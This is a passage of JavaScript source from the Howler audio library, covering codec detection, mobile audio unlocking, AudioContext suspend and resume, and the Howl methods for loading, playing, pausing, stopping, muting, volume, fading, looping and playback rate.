// Check if audio is available. if (!self.usingWebAudio) { // No audio is available on this system if noAudio is set to true. if (typeof Audio !== 'undefined') { try { var test = new Audio();
// Check if the canplaythrough event is available. if (typeof test.oncanplaythrough === 'undefined') { self._canPlayEvent = 'canplay'; } } catch(e) { self.noAudio = true; } } else { self.noAudio = true; } }
// Test to make sure audio isn't disabled in Internet Explorer. try { var test = new Audio(); if (test.muted) { self.noAudio = true; } } catch (e) {}
// Check for supported codecs. if (!self.noAudio) { self._setupCodecs(); }
return self; },
/** * Check for browser support for various codecs and cache the results. * @return {Howler} */ _setupCodecs: function() { var self = this || Howler; var audioTest = null;
// Must wrap in a try/catch because IE11 in server mode throws an error. try { audioTest = (typeof Audio !== 'undefined') ? new Audio() : null; } catch (err) { return self; }
if (!audioTest || typeof audioTest.canPlayType !== 'function') { return self; }
var mpegTest = audioTest.canPlayType('audio/mpeg;').replace(/^no$/, '');
// Opera version <33 has mixed MP3 support, so we need to check for and block it. var checkOpera = self._navigator && self._navigator.userAgent.match(/OPR\/([0-6].)/g); var isOldOpera = (checkOpera && parseInt(checkOpera[0].split('/')[1], 10) < 33);
self._codecs = { mp3: !!(!isOldOpera && (mpegTest || audioTest.canPlayType('audio/mp3;').replace(/^no$/, ''))), mpeg: !!mpegTest, opus: !!audioTest.canPlayType('audio/ogg; codecs="opus"').replace(/^no$/, ''), ogg: !!audioTest.canPlayType('audio/ogg; codecs="vorbis"').replace(/^no$/, ''), oga: !!audioTest.canPlayType('audio/ogg; codecs="vorbis"').replace(/^no$/, ''), wav: !!(audioTest.canPlayType('audio/wav; codecs="1"') || audioTest.canPlayType('audio/wav')).replace(/^no$/, ''), aac: !!audioTest.canPlayType('audio/aac;').replace(/^no$/, ''), caf: !!audioTest.canPlayType('audio/x-caf;').replace(/^no$/, ''), m4a: !!(audioTest.canPlayType('audio/x-m4a;') || audioTest.canPlayType('audio/m4a;') || audioTest.canPlayType('audio/aac;')).replace(/^no$/, ''), m4b: !!(audioTest.canPlayType('audio/x-m4b;') || audioTest.canPlayType('audio/m4b;') || audioTest.canPlayType('audio/aac;')).replace(/^no$/, ''), mp4: !!(audioTest.canPlayType('audio/x-mp4;') || audioTest.canPlayType('audio/mp4;') || audioTest.canPlayType('audio/aac;')).replace(/^no$/, ''), weba: !!audioTest.canPlayType('audio/webm; codecs="vorbis"').replace(/^no$/, ''), webm: !!audioTest.canPlayType('audio/webm; codecs="vorbis"').replace(/^no$/, ''), dolby: !!audioTest.canPlayType('audio/mp4; codecs="ec-3"').replace(/^no$/, ''), flac: !!(audioTest.canPlayType('audio/x-flac;') || audioTest.canPlayType('audio/flac;')).replace(/^no$/, '') };
return self; },
/** * Some browsers/devices will only allow audio to be played after a user interaction. * Attempt to automatically unlock audio on the first user interaction. * Concept from: http://paulbakaus.com/tutorials/html5/web-audio-on-ios/ * @return {Howler} */ _unlockAudio: function() { var self = this || Howler;
// Only run this if Web Audio is supported and it hasn't already been unlocked. if (self._audioUnlocked || !self.ctx) { return; }
self._audioUnlocked = false; self.autoUnlock = false;
// Some mobile devices/platforms have distortion issues when opening/closing tabs and/or web views. // Bugs in the browser (especially Mobile Safari) can cause the sampleRate to change from 44100 to 48000. // By calling Howler.unload(), we create a new AudioContext with the correct sampleRate. if (!self._mobileUnloaded && self.ctx.sampleRate !== 44100) { self._mobileUnloaded = true; self.unload(); }
// Scratch buffer for enabling iOS to dispose of web audio buffers correctly, as per: // http://stackoverflow.com/questions/24119684 self._scratchBuffer = self.ctx.createBuffer(1, 1, 22050);
// Call this method on touch start to create and play a buffer, // then check if the audio actually played to determine if // audio has now been unlocked on iOS, Android, etc. var unlock = function(e) { // Create a pool of unlocked HTML5 Audio objects that can // be used for playing sounds without user interaction. HTML5 // Audio objects must be individually unlocked, as opposed // to the WebAudio API which only needs a single activation. // This must occur before WebAudio setup or the source.onended // event will not fire. while (self._html5AudioPool.length < self.html5PoolSize) { try { var audioNode = new Audio();
// Mark this Audio object as unlocked to ensure it can get returned // to the unlocked pool when released. audioNode._unlocked = true;
// Add the audio node to the pool. self._releaseHtml5Audio(audioNode); } catch (e) { self.noAudio = true; break; } }
// Loop through any assigned audio nodes and unlock them. for (var i=0; i<self._howls.length; i++) { if (!self._howls[i]._webAudio) { // Get all of the sounds in this Howl group. var ids = self._howls[i]._getSoundIds();
// Loop through all sounds and unlock the audio nodes. for (var j=0; j<ids.length; j++) { var sound = self._howls[i]._soundById(ids[j]);
if (sound && sound._node && !sound._node._unlocked) { sound._node._unlocked = true; sound._node.load(); } } } }
// Fix Android can not play in suspend state. self._autoResume();
// Create an empty buffer. var source = self.ctx.createBufferSource(); source.buffer = self._scratchBuffer; source.connect(self.ctx.destination);
// Play the empty buffer. if (typeof source.start === 'undefined') { source.noteOn(0); } else { source.start(0); }
// Calling resume() on a stack initiated by user gesture is what actually unlocks the audio on Android Chrome >= 55. if (typeof self.ctx.resume === 'function') { self.ctx.resume(); }
// Setup a timeout to check that we are unlocked on the next event loop. source.onended = function() { source.disconnect(0);
// Update the unlocked state and prevent this check from happening again. self._audioUnlocked = true;
// Remove the touch start listener. document.removeEventListener('touchstart', unlock, true); document.removeEventListener('touchend', unlock, true); document.removeEventListener('click', unlock, true);
// Let all sounds know that audio has been unlocked. for (var i=0; i<self._howls.length; i++) { self._howls[i]._emit('unlock'); } }; };
// Setup a touch start listener to attempt an unlock in. document.addEventListener('touchstart', unlock, true); document.addEventListener('touchend', unlock, true); document.addEventListener('click', unlock, true);
return self; },
/** * Get an unlocked HTML5 Audio object from the pool. If none are left, * return a new Audio object and throw a warning. * @return {Audio} HTML5 Audio object. */ _obtainHtml5Audio: function() { var self = this || Howler;
// Return the next object from the pool if one exists. if (self._html5AudioPool.length) { return self._html5AudioPool.pop(); }
//.Check if the audio is locked and throw a warning. var testPlay = new Audio().play(); if (testPlay && typeof Promise !== 'undefined' && (testPlay instanceof Promise || typeof testPlay.then === 'function')) { testPlay.catch(function() { console.warn('HTML5 Audio pool exhausted, returning potentially locked audio object.'); }); }
return new Audio(); },
/** * Return an activated HTML5 Audio object to the pool. * @return {Howler} */ _releaseHtml5Audio: function(audio) { var self = this || Howler;
// Don't add audio to the pool if we don't know if it has been unlocked. if (audio._unlocked) { self._html5AudioPool.push(audio); }
return self; },
/** * Automatically suspend the Web Audio AudioContext after no sound has played for 30 seconds. * This saves processing/energy and fixes various browser-specific bugs with audio getting stuck. * @return {Howler} */ _autoSuspend: function() { var self = this;
if (!self.autoSuspend || !self.ctx || typeof self.ctx.suspend === 'undefined' || !Howler.usingWebAudio) { return; }
// Check if any sounds are playing. for (var i=0; i<self._howls.length; i++) { if (self._howls[i]._webAudio) { for (var j=0; j<self._howls[i]._sounds.length; j++) { if (!self._howls[i]._sounds[j]._paused) { return self; } } } }
if (self._suspendTimer) { clearTimeout(self._suspendTimer); }
// If no sound has played after 30 seconds, suspend the context. self._suspendTimer = setTimeout(function() { if (!self.autoSuspend) { return; }
self._suspendTimer = null; self.state = 'suspending';
// Handle updating the state of the audio context after suspending. var handleSuspension = function() { self.state = 'suspended';
if (self._resumeAfterSuspend) { delete self._resumeAfterSuspend; self._autoResume(); } };
// Either the state gets suspended or it is interrupted. // Either way, we need to update the state to suspended. self.ctx.suspend().then(handleSuspension, handleSuspension); }, 30000);
return self; },
/** * Automatically resume the Web Audio AudioContext when a new sound is played. * @return {Howler} */ _autoResume: function() { var self = this;
if (!self.ctx || typeof self.ctx.resume === 'undefined' || !Howler.usingWebAudio) { return; }
if (self.state === 'running' && self.ctx.state !== 'interrupted' && self._suspendTimer) { clearTimeout(self._suspendTimer); self._suspendTimer = null; } else if (self.state === 'suspended' || self.state === 'running' && self.ctx.state === 'interrupted') { self.ctx.resume().then(function() { self.state = 'running';
// Emit to all Howls that the audio has resumed. for (var i=0; i<self._howls.length; i++) { self._howls[i]._emit('resume'); } });
if (self._suspendTimer) { clearTimeout(self._suspendTimer); self._suspendTimer = null; } } else if (self.state === 'suspending') { self._resumeAfterSuspend = true; }
return self; } };
// Setup the global audio controller. var Howler = new HowlerGlobal();
/** Group Methods **/ /***************************************************************************/
/** * Create an audio group controller. * @param {Object} o Passed in properties for this group. */ var Howl = function(o) { var self = this;
// Throw an error if no source is provided. if (!o.src || o.src.length === 0) { console.error('An array of source files must be passed with any new Howl.'); return; }
self.init(o); }; Howl.prototype = { /** * Initialize a new Howl group object. * @param {Object} o Passed in properties for this group. * @return {Howl} */ init: function(o) { var self = this;
// If we don't have an AudioContext created yet, run the setup. if (!Howler.ctx) { setupAudioContext(); }
// Setup user-defined default properties. self._autoplay = o.autoplay || false; self._format = (typeof o.format !== 'string') ? o.format : [o.format]; self._html5 = o.html5 || false; self._muted = o.mute || false; self._loop = o.loop || false; self._pool = o.pool || 5; self._preload = (typeof o.preload === 'boolean' || o.preload === 'metadata') ? o.preload : true; self._rate = o.rate || 1; self._sprite = o.sprite || {}; self._src = (typeof o.src !== 'string') ? o.src : [o.src]; self._volume = o.volume !== undefined ? o.volume : 1; self._xhr = { method: o.xhr && o.xhr.method ? o.xhr.method : 'GET', headers: o.xhr && o.xhr.headers ? o.xhr.headers : null, withCredentials: o.xhr && o.xhr.withCredentials ? o.xhr.withCredentials : false, };
// Setup all other default properties. self._duration = 0; self._state = 'unloaded'; self._sounds = []; self._endTimers = {}; self._queue = []; self._playLock = false;
// Setup event listeners. self._onend = o.onend ? [{fn: o.onend}] : []; self._onfade = o.onfade ? [{fn: o.onfade}] : []; self._onload = o.onload ? [{fn: o.onload}] : []; self._onloaderror = o.onloaderror ? [{fn: o.onloaderror}] : []; self._onplayerror = o.onplayerror ? [{fn: o.onplayerror}] : []; self._onpause = o.onpause ? [{fn: o.onpause}] : []; self._onplay = o.onplay ? [{fn: o.onplay}] : []; self._onstop = o.onstop ? [{fn: o.onstop}] : []; self._onmute = o.onmute ? [{fn: o.onmute}] : []; self._onvolume = o.onvolume ? [{fn: o.onvolume}] : []; self._onrate = o.onrate ? [{fn: o.onrate}] : []; self._onseek = o.onseek ? [{fn: o.onseek}] : []; self._onunlock = o.onunlock ? [{fn: o.onunlock}] : []; self._onresume = [];
// Web Audio or HTML5 Audio? self._webAudio = Howler.usingWebAudio && !self._html5;
// Automatically try to enable audio. if (typeof Howler.ctx !== 'undefined' && Howler.ctx && Howler.autoUnlock) { Howler._unlockAudio(); }
// Keep track of this Howl group in the global controller. Howler._howls.push(self);
// If they selected autoplay, add a play event to the load queue. if (self._autoplay) { self._queue.push({ event: 'play', action: function() { self.play(); } }); }
// Load the source file unless otherwise specified. if (self._preload && self._preload !== 'none') { self.load(); }
return self; },
/** * Load the audio file. * @return {Howler} */ load: function() { var self = this; var url = null;
// If no audio is available, quit immediately. if (Howler.noAudio) { self._emit('loaderror', null, 'No audio support.'); return; }
// Make sure our source is in an array. if (typeof self._src === 'string') { self._src = [self._src]; }
// Loop through the sources and pick the first one that is compatible. for (var i=0; i<self._src.length; i++) { var ext, str;
if (self._format && self._format[i]) { // If an extension was specified, use that instead. ext = self._format[i]; } else { // Make sure the source is a string. str = self._src[i]; if (typeof str !== 'string') { self._emit('loaderror', null, 'Non-string found in selected audio sources - ignoring.'); continue; }
// Extract the file extension from the URL or base64 data URI. ext = /^data:audio\/([^;,]+);/i.exec(str); if (!ext) { ext = /\.([^.]+)$/.exec(str.split('?', 1)[0]); }
if (ext) { ext = ext[1].toLowerCase(); } }
// Log a warning if no extension was found. if (!ext) { console.warn('No file extension was found. Consider using the "format" property or specify an extension.'); }
// Check if this extension is available. if (ext && Howler.codecs(ext)) { url = self._src[i]; break; } }
if (!url) { self._emit('loaderror', null, 'No codec support for selected audio sources.'); return; }
self._src = url; self._state = 'loading';
// If the hosting page is HTTPS and the source isn't, // drop down to HTML5 Audio to avoid Mixed Content errors. if (window.location.protocol === 'https:' && url.slice(0, 5) === 'http:') { self._html5 = true; self._webAudio = false; }
// Create a new sound object and add it to the pool. new Sound(self);
// Load and decode the audio data for playback. if (self._webAudio) { loadBuffer(self); }
return self; },
/** * Play a sound or resume previous playback. * @param {String/Number} sprite Sprite name for sprite playback or sound id to continue previous. * @param {Boolean} internal Internal Use: true prevents event firing. * @return {Number} Sound ID. */ play: function(sprite, internal) { var self = this; var id = null;
// Determine if a sprite, sound id or nothing was passed if (typeof sprite === 'number') { id = sprite; sprite = null; } else if (typeof sprite === 'string' && self._state === 'loaded' && !self._sprite[sprite]) { // If the passed sprite doesn't exist, do nothing. return null; } else if (typeof sprite === 'undefined') { // Use the default sound sprite (plays the full audio length). sprite = '__default';
// Check if there is a single paused sound that isn't ended. // If there is, play that sound. If not, continue as usual. if (!self._playLock) { var num = 0; for (var i=0; i<self._sounds.length; i++) { if (self._sounds[i]._paused && !self._sounds[i]._ended) { num++; id = self._sounds[i]._id; } }
if (num === 1) { sprite = null; } else { id = null; } } }
// Get the selected node, or get one from the pool. var sound = id ? self._soundById(id) : self._inactiveSound();
// If the sound doesn't exist, do nothing. if (!sound) { return null; }
// Select the sprite definition. if (id && !sprite) { sprite = sound._sprite || '__default'; }
// If the sound hasn't loaded, we must wait to get the audio's duration. // We also need to wait to make sure we don't run into race conditions with // the order of function calls. if (self._state !== 'loaded') { // Set the sprite value on this sound. sound._sprite = sprite;
// Mark this sound as not ended in case another sound is played before this one loads. sound._ended = false;
// Add the sound to the queue to be played on load. var soundId = sound._id; self._queue.push({ event: 'play', action: function() { self.play(soundId); } });
return soundId; }
// Don't play the sound if an id was passed and it is already playing. if (id && !sound._paused) { // Trigger the play event, in order to keep iterating through queue. if (!internal) { self._loadQueue('play'); }
return sound._id; }
// Make sure the AudioContext isn't suspended, and resume it if it is. if (self._webAudio) { Howler._autoResume(); }
// Determine how long to play for and where to start playing. var seek = Math.max(0, sound._seek > 0 ? sound._seek : self._sprite[sprite][0] / 1000); var duration = Math.max(0, ((self._sprite[sprite][0] + self._sprite[sprite][1]) / 1000) - seek); var timeout = (duration * 1000) / Math.abs(sound._rate); var start = self._sprite[sprite][0] / 1000; var stop = (self._sprite[sprite][0] + self._sprite[sprite][1]) / 1000; sound._sprite = sprite;
// Mark the sound as ended instantly so that this async playback // doesn't get grabbed by another call to play while this one waits to start. sound._ended = false;
// Update the parameters of the sound. var setParams = function() { sound._paused = false; sound._seek = seek; sound._start = start; sound._stop = stop; sound._loop = !!(sound._loop || self._sprite[sprite][2]); };
// End the sound instantly if seek is at the end. if (seek >= stop) { self._ended(sound); return; }
// Begin the actual playback. var node = sound._node; if (self._webAudio) { // Fire this when the sound is ready to play to begin Web Audio playback. var playWebAudio = function() { self._playLock = false; setParams(); self._refreshBuffer(sound);
// Setup the playback params. var vol = (sound._muted || self._muted) ? 0 : sound._volume; node.gain.setValueAtTime(vol, Howler.ctx.currentTime); sound._playStart = Howler.ctx.currentTime;
// Play the sound using the supported method. if (typeof node.bufferSource.start === 'undefined') { sound._loop ? node.bufferSource.noteGrainOn(0, seek, 86400) : node.bufferSource.noteGrainOn(0, seek, duration); } else { sound._loop ? node.bufferSource.start(0, seek, 86400) : node.bufferSource.start(0, seek, duration); }
// Start a new timer if none is present. if (timeout !== Infinity) { self._endTimers[sound._id] = setTimeout(self._ended.bind(self, sound), timeout); }
if (!internal) { setTimeout(function() { self._emit('play', sound._id); self._loadQueue(); }, 0); } };
if (Howler.state === 'running' && Howler.ctx.state !== 'interrupted') { playWebAudio(); } else { self._playLock = true;
// Wait for the audio context to resume before playing. self.once('resume', playWebAudio);
// Cancel the end timer. self._clearTimer(sound._id); } } else { // Fire this when the sound is ready to play to begin HTML5 Audio playback. var playHtml5 = function() { node.currentTime = seek; node.muted = sound._muted || self._muted || Howler._muted || node.muted; node.volume = sound._volume * Howler.volume(); node.playbackRate = sound._rate;
// Some browsers will throw an error if this is called without user interaction. try { var play = node.play();
// Support older browsers that don't support promises, and thus don't have this issue. if (play && typeof Promise !== 'undefined' && (play instanceof Promise || typeof play.then === 'function')) { // Implements a lock to prevent DOMException: The play() request was interrupted by a call to pause(). self._playLock = true;
// Set param values immediately. setParams();
// Releases the lock and executes queued actions. play .then(function() { self._playLock = false; node._unlocked = true; if (!internal) { self._emit('play', sound._id); self._loadQueue(); } }) .catch(function() { self._playLock = false; self._emit('playerror', sound._id, 'Playback was unable to start. This is most commonly an issue ' + 'on mobile devices and Chrome where playback was not within a user interaction.');
// Reset the ended and paused values. sound._ended = true; sound._paused = true; }); } else if (!internal) { self._playLock = false; setParams(); self._emit('play', sound._id); self._loadQueue(); }
// Setting rate before playing won't work in IE, so we set it again here. node.playbackRate = sound._rate;
// If the node is still paused, then we can assume there was a playback issue. if (node.paused) { self._emit('playerror', sound._id, 'Playback was unable to start. This is most commonly an issue ' + 'on mobile devices and Chrome where playback was not within a user interaction.'); return; }
// Setup the end timer on sprites or listen for the ended event. if (sprite !== '__default' || sound._loop) { self._endTimers[sound._id] = setTimeout(self._ended.bind(self, sound), timeout); } else { self._endTimers[sound._id] = function() { // Fire ended on this audio node. self._ended(sound);
// Clear this listener. node.removeEventListener('ended', self._endTimers[sound._id], false); }; node.addEventListener('ended', self._endTimers[sound._id], false); } } catch (err) { self._emit('playerror', sound._id, err); } };
// If this is streaming audio, make sure the src is set and load again. if (node.src === 'data:audio/wav;base64,UklGRigAAABXQVZFZm10IBIAAAABAAEARKwAAIhYAQACABAAAABkYXRhAgAAAAEA') { node.src = self._src; node.load(); }
// Play immediately if ready, or wait for the 'canplaythrough'e vent. var loadedNoReadyState = (window && window.ejecta) || (!node.readyState && Howler._navigator.isCocoonJS); if (node.readyState >= 3 || loadedNoReadyState) { playHtml5(); } else { self._playLock = true;
var listener = function() { // Begin playback. playHtml5();
// Clear this listener. node.removeEventListener(Howler._canPlayEvent, listener, false); }; node.addEventListener(Howler._canPlayEvent, listener, false);
// Cancel the end timer. self._clearTimer(sound._id); } }
return sound._id; },
/** * Pause playback and save current position. * @param {Number} id The sound ID (empty to pause all in group). * @return {Howl} */ pause: function(id) { var self = this;
// If the sound hasn't loaded or a play() promise is pending, add it to the load queue to pause when capable. if (self._state !== 'loaded' || self._playLock) { self._queue.push({ event: 'pause', action: function() { self.pause(id); } });
return self; }
// If no id is passed, get all ID's to be paused. var ids = self._getSoundIds(id);
for (var i=0; i<ids.length; i++) { // Clear the end timer. self._clearTimer(ids[i]);
// Get the sound. var sound = self._soundById(ids[i]);
if (sound && !sound._paused) { // Reset the seek position. sound._seek = self.seek(ids[i]); sound._rateSeek = 0; sound._paused = true;
// Stop currently running fades. self._stopFade(ids[i]);
if (sound._node) { if (self._webAudio) { // Make sure the sound has been created. if (!sound._node.bufferSource) { continue; }
if (typeof sound._node.bufferSource.stop === 'undefined') { sound._node.bufferSource.noteOff(0); } else { sound._node.bufferSource.stop(0); }
// Clean up the buffer source. self._cleanBuffer(sound._node); } else if (!isNaN(sound._node.duration) || sound._node.duration === Infinity) { sound._node.pause(); } } }
// Fire the pause event, unless `true` is passed as the 2nd argument. if (!arguments[1]) { self._emit('pause', sound ? sound._id : null); } }
return self; },
/** * Stop playback and reset to start. * @param {Number} id The sound ID (empty to stop all in group). * @param {Boolean} internal Internal Use: true prevents event firing. * @return {Howl} */ stop: function(id, internal) { var self = this;
// If the sound hasn't loaded, add it to the load queue to stop when capable. if (self._state !== 'loaded' || self._playLock) { self._queue.push({ event: 'stop', action: function() { self.stop(id); } });
return self; }
// If no id is passed, get all ID's to be stopped. var ids = self._getSoundIds(id);
for (var i=0; i<ids.length; i++) { // Clear the end timer. self._clearTimer(ids[i]);
// Get the sound. var sound = self._soundById(ids[i]);
if (sound) { // Reset the seek position. sound._seek = sound._start || 0; sound._rateSeek = 0; sound._paused = true; sound._ended = true;
// Stop currently running fades. self._stopFade(ids[i]);
if (sound._node) { if (self._webAudio) { // Make sure the sound's AudioBufferSourceNode has been created. if (sound._node.bufferSource) { if (typeof sound._node.bufferSource.stop === 'undefined') { sound._node.bufferSource.noteOff(0); } else { sound._node.bufferSource.stop(0); }
// Clean up the buffer source. self._cleanBuffer(sound._node); } } else if (!isNaN(sound._node.duration) || sound._node.duration === Infinity) { sound._node.currentTime = sound._start || 0; sound._node.pause();
// If this is a live stream, stop download once the audio is stopped. if (sound._node.duration === Infinity) { self._clearSound(sound._node); } } }
if (!internal) { self._emit('stop', sound._id); } } }
return self; },
/** * Mute/unmute a single sound or all sounds in this Howl group. * @param {Boolean} muted Set to true to mute and false to unmute. * @param {Number} id The sound ID to update (omit to mute/unmute all). * @return {Howl} */ mute: function(muted, id) { var self = this;
// If the sound hasn't loaded, add it to the load queue to mute when capable. if (self._state !== 'loaded'|| self._playLock) { self._queue.push({ event: 'mute', action: function() { self.mute(muted, id); } });
return self; }
// If applying mute/unmute to all sounds, update the group's value. if (typeof id === 'undefined') { if (typeof muted === 'boolean') { self._muted = muted; } else { return self._muted; } }
// If no id is passed, get all ID's to be muted. var ids = self._getSoundIds(id);
for (var i=0; i<ids.length; i++) { // Get the sound. var sound = self._soundById(ids[i]);
if (sound) { sound._muted = muted;
// Cancel active fade and set the volume to the end value. if (sound._interval) { self._stopFade(sound._id); }
if (self._webAudio && sound._node) { sound._node.gain.setValueAtTime(muted ? 0 : sound._volume, Howler.ctx.currentTime); } else if (sound._node) { sound._node.muted = Howler._muted ? true : muted; }
self._emit('mute', sound._id); } }
return self; },
/** * Get/set the volume of this sound or of the Howl group. This method can optionally take 0, 1 or 2 arguments. * volume() -> Returns the group's volume value. * volume(id) -> Returns the sound id's current volume. * volume(vol) -> Sets the volume of all sounds in this Howl group. * volume(vol, id) -> Sets the volume of passed sound id. * @return {Howl/Number} Returns self or current volume. */ volume: function() { var self = this; var args = arguments; var vol, id;
// Determine the values based on arguments. if (args.length === 0) { // Return the value of the groups' volume. return self._volume; } else if (args.length === 1 || args.length === 2 && typeof args[1] === 'undefined') { // First check if this is an ID, and if not, assume it is a new volume. var ids = self._getSoundIds(); var index = ids.indexOf(args[0]); if (index >= 0) { id = parseInt(args[0], 10); } else { vol = parseFloat(args[0]); } } else if (args.length >= 2) { vol = parseFloat(args[0]); id = parseInt(args[1], 10); }
// Update the volume or return the current volume. var sound; if (typeof vol !== 'undefined' && vol >= 0 && vol <= 1) { // If the sound hasn't loaded, add it to the load queue to change volume when capable. if (self._state !== 'loaded'|| self._playLock) { self._queue.push({ event: 'volume', action: function() { self.volume.apply(self, args); } });
return self; }
// Set the group volume. if (typeof id === 'undefined') { self._volume = vol; }
// Update one or all volumes. id = self._getSoundIds(id); for (var i=0; i<id.length; i++) { // Get the sound. sound = self._soundById(id[i]);
if (sound) { sound._volume = vol;
// Stop currently running fades. if (!args[2]) { self._stopFade(id[i]); }
if (self._webAudio && sound._node && !sound._muted) { sound._node.gain.setValueAtTime(vol, Howler.ctx.currentTime); } else if (sound._node && !sound._muted) { sound._node.volume = vol * Howler.volume(); }
self._emit('volume', sound._id); } } } else { sound = id ? self._soundById(id) : self._sounds[0]; return sound ? sound._volume : 0; }
return self; },
/** * Fade a currently playing sound between two volumes (if no id is passed, all sounds will fade). * @param {Number} from The value to fade from (0.0 to 1.0). * @param {Number} to The volume to fade to (0.0 to 1.0). * @param {Number} len Time in milliseconds to fade. * @param {Number} id The sound id (omit to fade all sounds). * @return {Howl} */ fade: function(from, to, len, id) { var self = this;
// If the sound hasn't loaded, add it to the load queue to fade when capable. if (self._state !== 'loaded' || self._playLock) { self._queue.push({ event: 'fade', action: function() { self.fade(from, to, len, id); } });
return self; }
// Make sure the to/from/len values are numbers. from = Math.min(Math.max(0, parseFloat(from)), 1); to = Math.min(Math.max(0, parseFloat(to)), 1); len = parseFloat(len);
// Set the volume to the start position. self.volume(from, id);
// Fade the volume of one or all sounds. var ids = self._getSoundIds(id); for (var i=0; i<ids.length; i++) { // Get the sound. var sound = self._soundById(ids[i]);
// Create a linear fade or fall back to timeouts with HTML5 Audio. if (sound) { // Stop the previous fade if no sprite is being used (otherwise, volume handles this). if (!id) { self._stopFade(ids[i]); }
// If we are using Web Audio, let the native methods do the actual fade. if (self._webAudio && !sound._muted) { var currentTime = Howler.ctx.currentTime; var end = currentTime + (len / 1000); sound._volume = from; sound._node.gain.setValueAtTime(from, currentTime); sound._node.gain.linearRampToValueAtTime(to, end); }
self._startFadeInterval(sound, from, to, len, ids[i], typeof id === 'undefined'); } }
return self; },
/** * Starts the internal interval to fade a sound. * @param {Object} sound Reference to sound to fade. * @param {Number} from The value to fade from (0.0 to 1.0). * @param {Number} to The volume to fade to (0.0 to 1.0). * @param {Number} len Time in milliseconds to fade. * @param {Number} id The sound id to fade. * @param {Boolean} isGroup If true, set the volume on the group. */ _startFadeInterval: function(sound, from, to, len, id, isGroup) { var self = this; var vol = from; var diff = to - from; var steps = Math.abs(diff / 0.01); var stepLen = Math.max(4, (steps > 0) ? len / steps : len); var lastTick = Date.now();
// Store the value being faded to. sound._fadeTo = to;
// Update the volume value on each interval tick. sound._interval = setInterval(function() { // Update the volume based on the time since the last tick. var tick = (Date.now() - lastTick) / len; lastTick = Date.now(); vol += diff * tick;
// Round to within 2 decimal points. vol = Math.round(vol * 100) / 100;
// Make sure the volume is in the right bounds. if (diff < 0) { vol = Math.max(to, vol); } else { vol = Math.min(to, vol); }
// Change the volume. if (self._webAudio) { sound._volume = vol; } else { self.volume(vol, sound._id, true); }
// Set the group's volume. if (isGroup) { self._volume = vol; }
// When the fade is complete, stop it and fire event. if ((to < from && vol <= to) || (to > from && vol >= to)) { clearInterval(sound._interval); sound._interval = null; sound._fadeTo = null; self.volume(to, sound._id); self._emit('fade', sound._id); } }, stepLen); },
/** * Internal method that stops the currently playing fade when * a new fade starts, volume is changed or the sound is stopped. * @param {Number} id The sound id. * @return {Howl} */ _stopFade: function(id) { var self = this; var sound = self._soundById(id);
if (sound && sound._interval) { if (self._webAudio) { sound._node.gain.cancelScheduledValues(Howler.ctx.currentTime); }
clearInterval(sound._interval); sound._interval = null; self.volume(sound._fadeTo, id); sound._fadeTo = null; self._emit('fade', id); }
return self; },
/** * Get/set the loop parameter on a sound. This method can optionally take 0, 1 or 2 arguments. * loop() -> Returns the group's loop value. * loop(id) -> Returns the sound id's loop value. * loop(loop) -> Sets the loop value for all sounds in this Howl group. * loop(loop, id) -> Sets the loop value of passed sound id. * @return {Howl/Boolean} Returns self or current loop value. */ loop: function() { var self = this; var args = arguments; var loop, id, sound;
// Determine the values for loop and id. if (args.length === 0) { // Return the grou's loop value. return self._loop; } else if (args.length === 1) { if (typeof args[0] === 'boolean') { loop = args[0]; self._loop = loop; } else { // Return this sound's loop value. sound = self._soundById(parseInt(args[0], 10)); return sound ? sound._loop : false; } } else if (args.length === 2) { loop = args[0]; id = parseInt(args[1], 10); }
// If no id is passed, get all ID's to be looped. var ids = self._getSoundIds(id); for (var i=0; i<ids.length; i++) { sound = self._soundById(ids[i]);
if (sound) { sound._loop = loop; if (self._webAudio && sound._node && sound._node.bufferSource) { sound._node.bufferSource.loop = loop; if (loop) { sound._node.bufferSource.loopStart = sound._start || 0; sound._node.bufferSource.loopEnd = sound._stop; } } } }
return self; },
/** * Get/set the playback rate of a sound. This method can optionally take 0, 1 or 2 arguments. * rate() -> Returns the first sound node's current playback rate. * rate(id) -> Returns the sound id's current playback rate. * rate(rate) -> Sets the playback rate of all sounds in this Howl group. * rate(rate, id) -> Sets the playback rate of passed sound id. * @return {Howl/Number} Returns self or the current playback rate. */ rate: function() { var self = this; var args = arguments; var rate, id;
// Determine the values based on arguments. if (args.length === 0) { // We will simply return the current rate of the first node. id = self._sounds[0]._id; } else if (args.length === 1) { // First check if this is an ID, and if not, assume it is a new rate value. var ids = self._getSoundIds(); var index = ids.indexOf(args[0]); if (index >= 0) { id = parseInt(args[0], 10); } else { rate = parseFloat(args[0]); } } else if (args.length === 2) { rate = parseFloat(args[0]); id = parseInt(args[1], 10); }
// Update the playback rate or return the current value. var sound; if (typeof rate === 'number') { // If the sound hasn't loaded, add it to the load queue to change playback rate when capable. if (self._state !== 'loaded' || self._playLock) { self._queue.push({ event: 'rate', action: function() { self.rate.apply(self, args); } });
return self; }
// Set the group rate. if (typeof id === 'undefined') { self._rate = rate; }
// Update one or all volumes. id = self._getSoundIds(id); for (var i=0; i<id.length; i++) { // Get the sound. sound = self._soundById(id[i]);
if (sound) { // Keep track of our position when the rate changed and update the playback // start position so we can properly adjust the seek position for time elapsed. if (self.playing(id[i])) { sound._rateSeek = self.seek(id[i]); sound._playStart = self._webAudio ? Howler.ctx.currentTime : sound._playStart; } sound._rate = rate;
// Change the playback rate. if (self._webAudio && sound._node && sound._node.bufferSource) { sound._node.bufferSource.playbackRate.setValueAtTime(rate, Howler.ctx.currentTime); } else if (sound._node) { sound._node.playbackRate = rate; }
// Reset the timers. var seek = self.seek(id[i]); var duration = ((self._sprite[sound._sprite][0] + self._sprite[sound._sprite][1]) / 1000) - seek; var timeout = (duration * 1000) / Math.abs(sound._rate);
// Start a new end timer if sound is already playing. if (self._endTimers[id[i]] || !sound._paused) { self._clearTimer(id[i]); self._endTimers[id[i]] = setTimeout(self._ended.bind(self, sound), timeout); }
self._emit('rate', sound._id); } } } else { sound = self._soundById(id); return sound ? sound._rate : self._rate; }
return self; },
/** * Get/set the seek position of a sound. This method can optionally take 0, 1 or 2 arguments. * seek() -> Returns the first sound node's current seek position. * seek(id) -> Returns the sound id's current seek position. * seek(seek) -> Sets the seek position of the first sound node. * seek(seek, id) -> Sets the seek position of passed sound id. * @return {Howl/Number} Returns self or the current seek position. */ seek: function() { var self = this; var args = arguments; var seek, id;
